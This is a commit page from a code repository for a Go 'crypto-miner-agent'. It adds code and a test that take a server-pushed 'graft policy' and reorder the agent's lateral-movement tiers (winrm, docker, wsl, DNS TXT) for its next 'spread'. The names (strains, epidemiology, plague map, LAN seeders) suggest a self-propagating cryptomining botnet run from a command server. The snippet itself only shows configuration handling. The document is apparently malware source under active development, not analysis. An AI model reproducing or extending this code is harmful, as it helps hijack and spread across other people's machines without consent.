Add fleet topology epidemiology: strain plague map and mining interrupt fixes.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Strain nodes replace host nodes in FleetTopologyMap; server queues epidemiology_fix on auth and reports interrupts to AI and Seer.
This commit is contained in:
58
agent/client/graft_policy.go
Normal file
58
agent/client/graft_policy.go
Normal file
@@ -0,0 +1,58 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"log"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
// GraftPolicy is pushed on auth / graft_policy WS when court approves a strain splice.
|
||||
type GraftPolicy struct {
|
||||
GraftSourceStrain string `json:"graft_source_strain"`
|
||||
GraftTier string `json:"graft_tier"`
|
||||
GraftApprovedAt string `json:"graft_approved_at"`
|
||||
TierOrder []string `json:"tier_order,omitempty"`
|
||||
SourceAgentName string `json:"source_agent_name,omitempty"`
|
||||
}
|
||||
|
||||
func graftPolicyPresent(raw json.RawMessage) bool {
|
||||
if len(raw) == 0 || string(raw) == "null" {
|
||||
return false
|
||||
}
|
||||
var p GraftPolicy
|
||||
return json.Unmarshal(raw, &p) == nil && strings.TrimSpace(p.GraftTier) != ""
|
||||
}
|
||||
|
||||
func (c *AgentClient) applyGraftPolicyJSON(raw json.RawMessage) {
|
||||
if len(raw) == 0 || string(raw) == "null" {
|
||||
return
|
||||
}
|
||||
var p GraftPolicy
|
||||
if err := json.Unmarshal(raw, &p); err != nil || strings.TrimSpace(p.GraftTier) == "" {
|
||||
return
|
||||
}
|
||||
c.mu.Lock()
|
||||
c.pendingGraft = &p
|
||||
c.cfg.GraftSourceStrain = strings.TrimSpace(p.GraftSourceStrain)
|
||||
c.cfg.GraftTier = strings.TrimSpace(p.GraftTier)
|
||||
c.cfg.GraftApprovedAt = strings.TrimSpace(p.GraftApprovedAt)
|
||||
c.mu.Unlock()
|
||||
log.Printf("[agent] graft policy queued from %s tier=%s (applies on next spread)",
|
||||
p.SourceAgentName, p.GraftTier)
|
||||
}
|
||||
|
||||
func (c *AgentClient) cfgForSpread() config.RuntimeConfig {
|
||||
c.mu.Lock()
|
||||
cfg := c.cfg
|
||||
graft := c.pendingGraft
|
||||
if graft != nil && len(graft.TierOrder) > 0 {
|
||||
cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(graft.TierOrder)
|
||||
c.pendingGraft = nil
|
||||
log.Printf("[agent] applying grafted tier order on spread: %v", cfg.LotlOnionTiers)
|
||||
}
|
||||
c.mu.Unlock()
|
||||
return cfg
|
||||
}
|
||||
51
agent/client/graft_policy_test.go
Normal file
51
agent/client/graft_policy_test.go
Normal file
@@ -0,0 +1,51 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
func TestApplyGraftPolicyQueuesForNextSpread(t *testing.T) {
|
||||
c := &AgentClient{
|
||||
cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
LotlOnionTiers: append([]string(nil), deploy.DefaultLotlOnionTiers...),
|
||||
}},
|
||||
}
|
||||
raw, _ := json.Marshal(GraftPolicy{
|
||||
GraftSourceStrain: "#aabbcc",
|
||||
GraftTier: "winrm",
|
||||
GraftApprovedAt: "2026-06-07T12:00:00Z",
|
||||
TierOrder: []string{"winrm", "docker", "wsl"},
|
||||
SourceAgentName: "worker-07",
|
||||
})
|
||||
c.applyGraftPolicyJSON(raw)
|
||||
if c.pendingGraft == nil || c.pendingGraft.GraftTier != "winrm" {
|
||||
t.Fatalf("pendingGraft=%+v", c.pendingGraft)
|
||||
}
|
||||
before := append([]string(nil), c.cfg.LotlOnionTiers...)
|
||||
spreadCfg := c.cfgForSpread()
|
||||
if spreadCfg.LotlOnionTiers[0] != "winrm" {
|
||||
t.Fatalf("spread tiers = %v", spreadCfg.LotlOnionTiers)
|
||||
}
|
||||
if c.pendingGraft != nil {
|
||||
t.Fatal("graft should be consumed after cfgForSpread")
|
||||
}
|
||||
if before[0] == spreadCfg.LotlOnionTiers[0] && len(before) == len(spreadCfg.LotlOnionTiers) {
|
||||
// original cfg unchanged until spread
|
||||
if c.cfg.LotlOnionTiers[0] == "winrm" {
|
||||
t.Fatal("base cfg should not mutate before spread")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestGraftPolicyAuthRoundTrip(t *testing.T) {
|
||||
raw, _ := json.Marshal(GraftPolicy{GraftTier: "dns_txt", TierOrder: []string{"dns_txt"}})
|
||||
var resp AuthResponse
|
||||
resp.GraftPolicy = raw
|
||||
if !graftPolicyPresent(resp.GraftPolicy) {
|
||||
t.Fatal("expected graft present")
|
||||
}
|
||||
}
|
||||
@@ -78,6 +78,7 @@ type AuthResponse struct {
|
||||
LANSeeders []deploy.LANSeederHint `json:"lan_seeders,omitempty"`
|
||||
SpreadPolicy json.RawMessage `json:"spread_policy,omitempty"`
|
||||
GraftPolicy json.RawMessage `json:"graft_policy,omitempty"`
|
||||
EpidemiologyFix json.RawMessage `json:"epidemiology_fix,omitempty"`
|
||||
}
|
||||
|
||||
type SharePayload struct {
|
||||
|
||||
Reference in New Issue
Block a user